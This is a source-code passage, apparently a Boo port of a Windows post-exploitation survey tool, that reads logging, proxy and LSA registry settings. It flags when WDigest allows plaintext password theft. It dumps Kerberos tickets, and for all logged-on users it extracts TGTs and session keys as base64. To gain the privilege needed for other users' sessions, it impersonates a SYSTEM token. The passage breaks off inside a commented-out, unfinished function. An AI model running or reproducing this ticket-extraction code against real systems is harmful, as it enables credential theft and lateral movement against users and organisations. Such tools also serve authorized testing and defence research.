if (moduleLoggingSettings is not null) and (moduleLoggingSettings.Count != 0):
for kvp as KeyValuePair[of string, object] in moduleLoggingSettings:
Console.WriteLine(' {0,30} : {1}\r\n', kvp.Key, kvp.Value)
scriptBlockSettings as Dictionary[of string, object] = GetRegValues('HKLM', 'SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging')
Console.WriteLine(' Scriptblock Logging Settings:\r\n')
if (scriptBlockSettings is not null) and (scriptBlockSettings.Count != 0):
for kvp as KeyValuePair[of string, object] in scriptBlockSettings:
Console.WriteLine(' {0,30} : {1}\r\n', kvp.Key, kvp.Value)
public static def ListInternetSettings():
// lists user/system internet settings, including default proxy info
proxySettings as Dictionary[of string, object] = GetRegValues('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings')
Console.WriteLine('\r\n\r\n=== HKCU Internet Settings ===\r\n')
if (proxySettings is not null) and (proxySettings.Count != 0):
for kvp as KeyValuePair[of string, object] in proxySettings:
Console.WriteLine(' {0,30} : {1}', kvp.Key, kvp.Value)
proxySettings2 as Dictionary[of string, object] = GetRegValues('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings')
Console.WriteLine('\r\n\r\n=== HKLM Internet Settings ===\r\n')
if (proxySettings2 is not null) and (proxySettings2.Count != 0):
for kvp as KeyValuePair[of string, object] in proxySettings2:
Console.WriteLine(' {0,30} : {1}', kvp.Key, kvp.Value)
public static def ListLSASettings():
Console.WriteLine('\r\n\r\n=== LSA Settings ===\r\n')
settings as Dictionary[of string, object] = GetRegValues('HKLM', 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
if (settings is not null) and (settings.Count != 0):
for kvp as KeyValuePair[of string, object] in settings:
if kvp.Value.GetType().IsArray and (kvp.Value.GetType().GetElementType().ToString() == 'System.String'):
result as string = string.Join(',', (kvp.Value cast (string)))
Console.WriteLine(' {0,-30} : {1}', kvp.Key, result)
if kvp.Key.ToString() == 'Security Packages':
r as Regex = Regex('.*wdigest.*')
m as Match = r.Match(result)
if m.Success:
Console.WriteLine(' [*] Wdigest is enabled- plaintext password extraction is possible!')
else:
Console.WriteLine(' {0,-30} : {1}', kvp.Key, kvp.Value)
public static def ListKerberosTickets():
if IsHighIntegrity():
ListKerberosTicketsAllUsers()
else:
ListKerberosTicketsCurrentUser()
public static def ListKerberosTicketsAllUsers():
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine('\r\n\r\n=== Kerberos Tickets (All Users) ===\r\n')
hLsa as IntPtr = LsaRegisterLogonProcessHelper()
totalTicketCount = 0
// if the original call fails then it is likely we don't have SeTcbPrivilege
// to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
if hLsa == IntPtr.Zero:
GetSystem()
// should now have the proper privileges to get a Handle to LSA
hLsa = LsaRegisterLogonProcessHelper()
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
RevertToSelf()
try:
// first return all the logon sessions
systime = DateTime(1601, 1, 1, 0, 0, 0, 0)
//win32 systemdate
count as UInt64
luidPtr as IntPtr = IntPtr.Zero
iter as IntPtr = luidPtr
ret as uint = LsaEnumerateLogonSessions(count, luidPtr)
for i in range(0, count):
// get an array of pointers to LUIDs
sessionData as IntPtr
ret = LsaGetLogonSessionData(luidPtr, sessionData)
data = (Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)) cast SECURITY_LOGON_SESSION_DATA)
// if we have a valid logon
if data.PSiD != IntPtr.Zero:
// user session data
username as string = Marshal.PtrToStringUni(data.Username.Buffer).Trim()
sid as System.Security.Principal.SecurityIdentifier = System.Security.Principal.SecurityIdentifier(data.PSiD)
domain as string = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim()
authpackage as string = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim()
logonType = (data.LogonType cast SECURITY_LOGON_TYPE)
logonTime as DateTime = systime.AddTicks((data.LoginTime cast long))
logonServer as string = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim()
dnsDomainName as string = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim()
upn as string = Marshal.PtrToStringUni(data.Upn.Buffer).Trim()
// now we want to get the tickets for this logon ID
name = 'kerberos'
LSAString as LSA_STRING_IN
LSAString.Length = (name.Length cast ushort)
LSAString.MaximumLength = ((name.Length + 1) cast ushort)
LSAString.Buffer = name
ticketPointer as IntPtr = IntPtr.Zero
ticketsPointer as IntPtr = IntPtr.Zero
sysTime = DateTime(1601, 1, 1, 0, 0, 0, 0)
authPack as int
returnBufferLength = 0
protocalStatus = 0
retCode as int
tQuery = KERB_QUERY_TKT_CACHE_REQUEST()
tickets = KERB_QUERY_TKT_CACHE_RESPONSE()
ticket as KERB_TICKET_CACHE_INFO
// obtains the unique identifier for the kerberos authentication package.
retCode = LsaLookupAuthenticationPackage(hLsa, LSAString, authPack)
// input object for querying the ticket cache for a specific logon ID
userLogonID = LUID()
userLogonID.LowPart = data.LoginID.LowPart
userLogonID.HighPart = 0
tQuery.LogonId = userLogonID
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage
// query LSA, specifying we want the ticket cache
retCode = LsaCallAuthenticationPackage(hLsa, authPack, tQuery, Marshal.SizeOf(tQuery), ticketPointer, returnBufferLength, protocalStatus)
Console.WriteLine('\r\n UserName : {0}', username)
Console.WriteLine(' Domain : {0}', domain)
Console.WriteLine(' LogonId : {0}', data.LoginID.LowPart)
Console.WriteLine(' UserSID : {0}', sid.AccountDomainSid)
Console.WriteLine(' AuthenticationPackage : {0}', authpackage)
Console.WriteLine(' LogonType : {0}', logonType)
Console.WriteLine(' LogonType : {0}', logonTime)
Console.WriteLine(' LogonServer : {0}', logonServer)
Console.WriteLine(' LogonServerDNSDomain : {0}', dnsDomainName)
Console.WriteLine(' UserPrincipalName : {0}\r\n', upn)
if ticketPointer != IntPtr.Zero:
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
tickets = (Marshal.PtrToStructure((ticketPointer cast System.IntPtr), typeof(KERB_QUERY_TKT_CACHE_RESPONSE)) cast KERB_QUERY_TKT_CACHE_RESPONSE)
count2 as int = tickets.CountOfTickets
if count2 != 0:
Console.WriteLine(' [*] Enumerated {0} ticket(s):\r\n', count2)
totalTicketCount += count2
// get the size of the structures we're iterating over
dataSize as Int32 = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO))
for j in range(0, count2):
// iterate through the structures
currTicketPtr = (((ticketPointer.ToInt64() + ((8 + (j * dataSize)) cast int)) cast long) cast IntPtr)
// parse the new ptr to the appropriate structure
ticket = (Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)) cast KERB_TICKET_CACHE_INFO)
// extract our fields
serverName as string = Marshal.PtrToStringUni(ticket.ServerName.Buffer, (ticket.ServerName.Length / 2))
realmName as string = Marshal.PtrToStringUni(ticket.RealmName.Buffer, (ticket.RealmName.Length / 2))
startTime as DateTime = DateTime.FromFileTime(ticket.StartTime)
endTime as DateTime = DateTime.FromFileTime(ticket.EndTime)
renewTime as DateTime = DateTime.FromFileTime(ticket.RenewTime)
encryptionType as string = (ticket.EncryptionType cast KERB_ENCRYPTION_TYPE).ToString()
ticketFlags as string = (ticket.TicketFlags cast KERB_TICKET_FLAGS).ToString()
Console.WriteLine(' ServerName : {0}', serverName)
Console.WriteLine(' RealmName : {0}', realmName)
Console.WriteLine(' StartTime : {0}', startTime)
Console.WriteLine(' EndTime : {0}', endTime)
Console.WriteLine(' RenewTime : {0}', renewTime)
Console.WriteLine(' EncryptionType : {0}', encryptionType)
Console.WriteLine(' TicketFlags : {0}\r\n', ticketFlags)
// move the pointer forward
luidPtr = (((luidPtr.ToInt64() cast long) + Marshal.SizeOf(typeof(LUID))) cast IntPtr)
LsaFreeReturnBuffer(sessionData)
LsaFreeReturnBuffer(luidPtr)
// disconnect from LSA
LsaDeregisterLogonProcess(hLsa)
Console.WriteLine('\r\n\r\n [*] Enumerated {0} total tickets\r\n', totalTicketCount)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
public static def ListKerberosTicketsCurrentUser():
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine('\r\n\r\n=== Kerberos Tickets (Current User) ===\r\n')
try:
name = 'kerberos'
LSAString as LSA_STRING_IN
LSAString.Length = (name.Length cast ushort)
LSAString.MaximumLength = ((name.Length + 1) cast ushort)
LSAString.Buffer = name
ticketPointer as IntPtr = IntPtr.Zero
ticketsPointer as IntPtr = IntPtr.Zero
sysTime = DateTime(1601, 1, 1, 0, 0, 0, 0)
authPack as int
returnBufferLength = 0
protocalStatus = 0
lsaHandle as IntPtr
retCode as int
// If we want to look at tickets from a session other than our own
// then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
retCode = LsaConnectUntrusted(lsaHandle)
tQuery = KERB_QUERY_TKT_CACHE_REQUEST()
tickets = KERB_QUERY_TKT_CACHE_RESPONSE()
ticket as KERB_TICKET_CACHE_INFO
// obtains the unique identifier for the kerberos authentication package.
retCode = LsaLookupAuthenticationPackage(lsaHandle, LSAString, authPack)
// input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)
tQuery.LogonId = LUID()
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage
// query LSA, specifying we want the ticket cache
retCode = LsaCallAuthenticationPackage(lsaHandle, authPack, tQuery, Marshal.SizeOf(tQuery), ticketPointer, returnBufferLength, protocalStatus)
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
tickets = (Marshal.PtrToStructure((ticketPointer cast System.IntPtr), typeof(KERB_QUERY_TKT_CACHE_RESPONSE)) cast KERB_QUERY_TKT_CACHE_RESPONSE)
count as int = tickets.CountOfTickets
Console.WriteLine(' [*] Returned {0} tickets\r\n', count)
// get the size of the structures we're iterating over
dataSize as Int32 = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO))
for i in range(0, count):
// iterate through the structures
currTicketPtr = (((ticketPointer.ToInt64() + ((8 + (i * dataSize)) cast int)) cast long) cast IntPtr)
// parse the new ptr to the appropriate structure
ticket = (Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)) cast KERB_TICKET_CACHE_INFO)
// extract our fields
serverName as string = Marshal.PtrToStringUni(ticket.ServerName.Buffer, (ticket.ServerName.Length / 2))
realmName as string = Marshal.PtrToStringUni(ticket.RealmName.Buffer, (ticket.RealmName.Length / 2))
startTime as DateTime = DateTime.FromFileTime(ticket.StartTime)
endTime as DateTime = DateTime.FromFileTime(ticket.EndTime)
renewTime as DateTime = DateTime.FromFileTime(ticket.RenewTime)
encryptionType as string = (ticket.EncryptionType cast KERB_ENCRYPTION_TYPE).ToString()
ticketFlags as string = (ticket.TicketFlags cast KERB_TICKET_FLAGS).ToString()
Console.WriteLine(' ServerName : {0}', serverName)
Console.WriteLine(' RealmName : {0}', realmName)
Console.WriteLine(' StartTime : {0}', startTime)
Console.WriteLine(' EndTime : {0}', endTime)
Console.WriteLine(' RenewTime : {0}', renewTime)
Console.WriteLine(' EncryptionType : {0}', encryptionType)
Console.WriteLine(' TicketFlags : {0}\r\n', ticketFlags)
// disconnect from LSA
LsaDeregisterLogonProcess(lsaHandle)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListKerberosTGTData():
if IsHighIntegrity():
ListKerberosTGTDataAllUsers()
else:
ListKerberosTGTDataCurrentUser()
public static def ListKerberosTGTDataAllUsers():
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine('\r\n\r\n=== Kerberos TGT Data (All Users) ===\r\n')
hLsa as IntPtr = LsaRegisterLogonProcessHelper()
totalTicketCount = 0
// if the original call fails then it is likely we don't have SeTcbPrivilege
// to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
if hLsa == IntPtr.Zero:
GetSystem()
// should now have the proper privileges to get a Handle to LSA
hLsa = LsaRegisterLogonProcessHelper()
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
RevertToSelf()
try:
// first return all the logon sessions
systime = DateTime(1601, 1, 1, 0, 0, 0, 0)
//win32 systemdate
count as UInt64
luidPtr as IntPtr = IntPtr.Zero
iter as IntPtr = luidPtr
ret as uint = LsaEnumerateLogonSessions(count, luidPtr)
for i in range(0, count):
// get an array of pointers to LUIDs
sessionData as IntPtr
ret = LsaGetLogonSessionData(luidPtr, sessionData)
data = (Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)) cast SECURITY_LOGON_SESSION_DATA)
// if we have a valid logon
if data.PSiD != IntPtr.Zero:
// user session data
username as string = Marshal.PtrToStringUni(data.Username.Buffer).Trim()
sid as System.Security.Principal.SecurityIdentifier = System.Security.Principal.SecurityIdentifier(data.PSiD)
domain as string = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim()
authpackage as string = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim()
logonType = (data.LogonType cast SECURITY_LOGON_TYPE)
logonTime as DateTime = systime.AddTicks((data.LoginTime cast long))
logonServer as string = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim()
dnsDomainName as string = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim()
upn as string = Marshal.PtrToStringUni(data.Upn.Buffer).Trim()
// now we want to get the tickets for this logon ID
name = 'kerberos'
LSAString as LSA_STRING_IN
LSAString.Length = (name.Length cast ushort)
LSAString.MaximumLength = ((name.Length + 1) cast ushort)
LSAString.Buffer = name
responsePointer as IntPtr = IntPtr.Zero
authPack as int
returnBufferLength = 0
protocalStatus = 0
retCode as int
tQuery = KERB_RETRIEVE_TKT_REQUEST()
response = KERB_RETRIEVE_TKT_RESPONSE()
// obtains the unique identifier for the kerberos authentication package.
retCode = LsaLookupAuthenticationPackage(hLsa, LSAString, authPack)
// input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)
userLogonID = LUID()
userLogonID.LowPart = data.LoginID.LowPart
userLogonID.HighPart = 0
tQuery.LogonId = userLogonID
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage
// indicate we want kerb creds yo'
tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED
// query LSA, specifying we want the the TGT data
retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, tQuery, Marshal.SizeOf(tQuery), responsePointer, returnBufferLength, protocalStatus)
if (retCode == 0) and (responsePointer != IntPtr.Zero):
Console.WriteLine('\r\n UserName : {0}', username)
Console.WriteLine(' Domain : {0}', domain)
Console.WriteLine(' LogonId : {0}', data.LoginID.LowPart)
Console.WriteLine(' UserSID : {0}', sid.AccountDomainSid)
Console.WriteLine(' AuthenticationPackage : {0}', authpackage)
Console.WriteLine(' LogonType : {0}', logonType)
Console.WriteLine(' LogonType : {0}', logonTime)
Console.WriteLine(' LogonServer : {0}', logonServer)
Console.WriteLine(' LogonServerDNSDomain : {0}', dnsDomainName)
Console.WriteLine(' UserPrincipalName : {0}', upn)
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Marshal.PtrToStructure((responsePointer cast System.IntPtr), typeof(KERB_RETRIEVE_TKT_RESPONSE)) cast KERB_RETRIEVE_TKT_RESPONSE)
serviceNameStruct = (Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
serviceName as string = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, (serviceNameStruct.Names.Length / 2)).Trim()
targetName = ''
if response.Ticket.TargetName != IntPtr.Zero:
targetNameStruct = (Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, (targetNameStruct.Names.Length / 2)).Trim()
clientNameStruct = (Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
clientName as string = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, (clientNameStruct.Names.Length / 2)).Trim()
domainName as string = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, (response.Ticket.DomainName.Length / 2)).Trim()
targetDomainName as string = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, (response.Ticket.TargetDomainName.Length / 2)).Trim()
altTargetDomainName as string = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, (response.Ticket.AltTargetDomainName.Length / 2)).Trim()
// extract the session key
sessionKeyType = (response.Ticket.SessionKey.KeyType cast KERB_ENCRYPTION_TYPE)
sessionKeyLength as Int32 = response.Ticket.SessionKey.Length
sessionKey as (byte) = array(byte, sessionKeyLength)
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength)
base64SessionKey as string = Convert.ToBase64String(sessionKey)
keyExpirationTime as DateTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime)
startTime as DateTime = DateTime.FromFileTime(response.Ticket.StartTime)
endTime as DateTime = DateTime.FromFileTime(response.Ticket.EndTime)
renewUntil as DateTime = DateTime.FromFileTime(response.Ticket.RenewUntil)
timeSkew as Int64 = response.Ticket.TimeSkew
encodedTicketSize as Int32 = response.Ticket.EncodedTicketSize
ticketFlags as string = (response.Ticket.TicketFlags cast KERB_TICKET_FLAGS).ToString()
// extract the TGT and base64 encode it
encodedTicket as (byte) = array(byte, encodedTicketSize)
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize)
base64TGT as string = Convert.ToBase64String(encodedTicket)
Console.WriteLine(' ServiceName : {0}', serviceName)
Console.WriteLine(' TargetName : {0}', targetName)
Console.WriteLine(' ClientName : {0}', clientName)
Console.WriteLine(' DomainName : {0}', domainName)
Console.WriteLine(' TargetDomainName : {0}', targetDomainName)
Console.WriteLine(' AltTargetDomainName : {0}', altTargetDomainName)
Console.WriteLine(' SessionKeyType : {0}', sessionKeyType)
Console.WriteLine(' Base64SessionKey : {0}', base64SessionKey)
Console.WriteLine(' KeyExpirationTime : {0}', keyExpirationTime)
Console.WriteLine(' TicketFlags : {0}', ticketFlags)
Console.WriteLine(' StartTime : {0}', startTime)
Console.WriteLine(' EndTime : {0}', endTime)
Console.WriteLine(' RenewUntil : {0}', renewUntil)
Console.WriteLine(' TimeSkew : {0}', timeSkew)
Console.WriteLine(' EncodedTicketSize : {0}', encodedTicketSize)
Console.WriteLine(' Base64EncodedTicket :\r\n')
// display the TGT, columns of 100 chararacters
for line as string in Split(base64TGT, 100):
Console.WriteLine(' {0}', line)
Console.WriteLine()
totalTicketCount += 1
luidPtr = (((luidPtr.ToInt64() cast long) + Marshal.SizeOf(typeof(LUID))) cast IntPtr)
//move the pointer forward
LsaFreeReturnBuffer(sessionData)
//free the SECURITY_LOGON_SESSION_DATA memory in the struct
LsaFreeReturnBuffer(luidPtr)
//free the array of LUIDs
// disconnect from LSA
LsaDeregisterLogonProcess(hLsa)
Console.WriteLine('\r\n\r\n [*] Extracted {0} total tickets\r\n', totalTicketCount)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
public static def ListKerberosTGTDataCurrentUser():
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine('\r\n\r\n=== Kerberos TGT Data (Current User) ===\r\n')
try:
name = 'kerberos'
LSAString as LSA_STRING_IN
LSAString.Length = (name.Length cast ushort)
LSAString.MaximumLength = ((name.Length + 1) cast ushort)
LSAString.Buffer = name
responsePointer as IntPtr = IntPtr.Zero
authPack as int
returnBufferLength = 0
protocalStatus = 0
lsaHandle as IntPtr
retCode as int
// If we want to look at tickets from a session other than our own
// then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
retCode = LsaConnectUntrusted(lsaHandle)
tQuery = KERB_RETRIEVE_TKT_REQUEST()
response = KERB_RETRIEVE_TKT_RESPONSE()
// obtains the unique identifier for the kerberos authentication package.
retCode = LsaLookupAuthenticationPackage(lsaHandle, LSAString, authPack)
// input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)
tQuery.LogonId = LUID()
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage
// indicate we want kerb creds yo'
//tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;
// query LSA, specifying we want the the TGT data
retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, tQuery, Marshal.SizeOf(tQuery), responsePointer, returnBufferLength, protocalStatus)
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Marshal.PtrToStructure((responsePointer cast System.IntPtr), typeof(KERB_RETRIEVE_TKT_RESPONSE)) cast KERB_RETRIEVE_TKT_RESPONSE)
serviceNameStruct = (Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
serviceName as string = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, (serviceNameStruct.Names.Length / 2)).Trim()
targetName = ''
if response.Ticket.TargetName != IntPtr.Zero:
targetNameStruct = (Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, (targetNameStruct.Names.Length / 2)).Trim()
clientNameStruct = (Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)) cast KERB_EXTERNAL_NAME)
clientName as string = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, (clientNameStruct.Names.Length / 2)).Trim()
domainName as string = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, (response.Ticket.DomainName.Length / 2)).Trim()
targetDomainName as string = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, (response.Ticket.TargetDomainName.Length / 2)).Trim()
altTargetDomainName as string = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, (response.Ticket.AltTargetDomainName.Length / 2)).Trim()
// extract the session key
sessionKeyType = (response.Ticket.SessionKey.KeyType cast KERB_ENCRYPTION_TYPE)
sessionKeyLength as Int32 = response.Ticket.SessionKey.Length
sessionKey as (byte) = array(byte, sessionKeyLength)
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength)
base64SessionKey as string = Convert.ToBase64String(sessionKey)
keyExpirationTime as DateTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime)
startTime as DateTime = DateTime.FromFileTime(response.Ticket.StartTime)
endTime as DateTime = DateTime.FromFileTime(response.Ticket.EndTime)
renewUntil as DateTime = DateTime.FromFileTime(response.Ticket.RenewUntil)
timeSkew as Int64 = response.Ticket.TimeSkew
encodedTicketSize as Int32 = response.Ticket.EncodedTicketSize
ticketFlags as string = (response.Ticket.TicketFlags cast KERB_TICKET_FLAGS).ToString()
// extract the TGT and base64 encode it
encodedTicket as (byte) = array(byte, encodedTicketSize)
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize)
base64TGT as string = Convert.ToBase64String(encodedTicket)
Console.WriteLine(' ServiceName : {0}', serviceName)
Console.WriteLine(' TargetName : {0}', targetName)
Console.WriteLine(' ClientName : {0}', clientName)
Console.WriteLine(' DomainName : {0}', domainName)
Console.WriteLine(' TargetDomainName : {0}', targetDomainName)
Console.WriteLine(' AltTargetDomainName : {0}', altTargetDomainName)
Console.WriteLine(' SessionKeyType : {0}', sessionKeyType)
Console.WriteLine(' Base64SessionKey : {0}', base64SessionKey)
Console.WriteLine(' KeyExpirationTime : {0}', keyExpirationTime)
Console.WriteLine(' TicketFlags : {0}', ticketFlags)
Console.WriteLine(' StartTime : {0}', startTime)
Console.WriteLine(' EndTime : {0}', endTime)
Console.WriteLine(' RenewUntil : {0}', renewUntil)
Console.WriteLine(' TimeSkew : {0}', timeSkew)
Console.WriteLine(' EncodedTicketSize : {0}', encodedTicketSize)
Console.WriteLine(' Base64EncodedTicket :\r\n')
// display the TGT, columns of 100 chararacters
for line as string in Split(base64TGT, 100):
Console.WriteLine(' {0}', line)
Console.WriteLine()
// disconnect from LSA
LsaDeregisterLogonProcess(lsaHandle)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
// https://github.com/pauldotknopf/WindowsSDK7-Samples/blob/master/security/authorization/klist/KList.c#L585
// currently not working :(
//public static void ListKerberosTicketDataCurrentUser()
//{
// // adapted partially from Vincent LE TOUX' work
// // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
// Console.WriteLine("\r\n\r\n=== Kerberos Ticket Data (Current User) ===\r\n");
// //try
// //{
// string name = "kerberos";
// LSA_STRING_IN LSAString;
// LSAString.Length = (ushort)name.Length;
// LSAString.MaximumLength = (ushort)(name.Length + 1);
// LSAString.Buffer = name;
// IntPtr ticketPointer = IntPtr.Zero;
// IntPtr ticketsPointer = IntPtr.Zero;
// int authPack;
// int returnBufferLength = 0;
// int protocalStatus = 0;
// IntPtr lsaHandle;
// int retCode;
// // If we want to look at tickets from a session other than our own
// // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
// retCode = LsaConnectUntrusted(out lsaHandle);
// // obtains the unique identifier for the kerberos authentication package.
// retCode = LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
// UNICODE_STRING targetName = new UNICODE_STRING("krbtgt/TESTLAB.LOCAL");
// UNICODE_STRING target = new UNICODE_STRING();
// KERB_RETRIEVE_TKT_RESPONSE CacheResponse = new KERB_RETRIEVE_TKT_RESPONSE();
// // LMEM_ZEROINIT -> 0x0040
// IntPtr temp = LocalAlloc(0x0040, (uint)(targetName.Length + Marshal.SizeOf(typeof(KERB_RETRIEVE_TKT_REQUEST))));
// IntPtr unmanagedAddr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(KERB_RETRIEVE_TKT_REQUEST)));
// //Marshal.StructureToPtr(managedObj, unmanagedAddr, true);
// KERB_RETRIEVE_TKT_REQUEST_UNI CacheRequest = (KERB_RETRIEVE_TKT_REQUEST_UNI)Marshal.PtrToStructure(temp, typeof(KERB_RETRIEVE_TKT_REQUEST_UNI));
// CacheRequest.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
// // KERB_RETRIEVE_TKT_REQUEST_UNI
// IntPtr CacheRequestPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(KERB_RETRIEVE_TKT_REQUEST)));
// Marshal.StructureToPtr(CacheRequest, CacheRequestPtr, false);
// target.buffer = (IntPtr)(CacheRequestPtr.ToInt64() + 1);
// target.Length = targetName.Length;
// target.MaximumLength = targetName.MaximumLength;
// CopyMemory(target.buffer, targetName.buffer, targetName.Length);
// CacheRequest.TargetName = target;
// IntPtr responsePointer = IntPtr.Zero;
// int returnBufferLength2 = 0;
// // query LSA, specifying we want the the specified ticket data
// retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT_UNI(lsaHandle, authPack, ref CacheRequest, Marshal.SizeOf(CacheRequest) + targetName.Length, out responsePointer, out returnBufferLength2, out protocalStatus);
// Console.WriteLine("LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT_UNI retCode: {0}", retCode);
// Console.WriteLine("returnBufferLength: {0}", returnBufferLength2);
// Console.WriteLine("responsePointer: {0}\r\n", responsePointer);
// Console.WriteLine("protocalStatus: {0}\r\n", (uint)protocalStatus);
// Console.Out.Flush();
// //string clientName = Marshal.PtrToStringUni(CacheResponse.Ticket.ClientName, CacheResponse.Ticket.ClientName.L / 2);
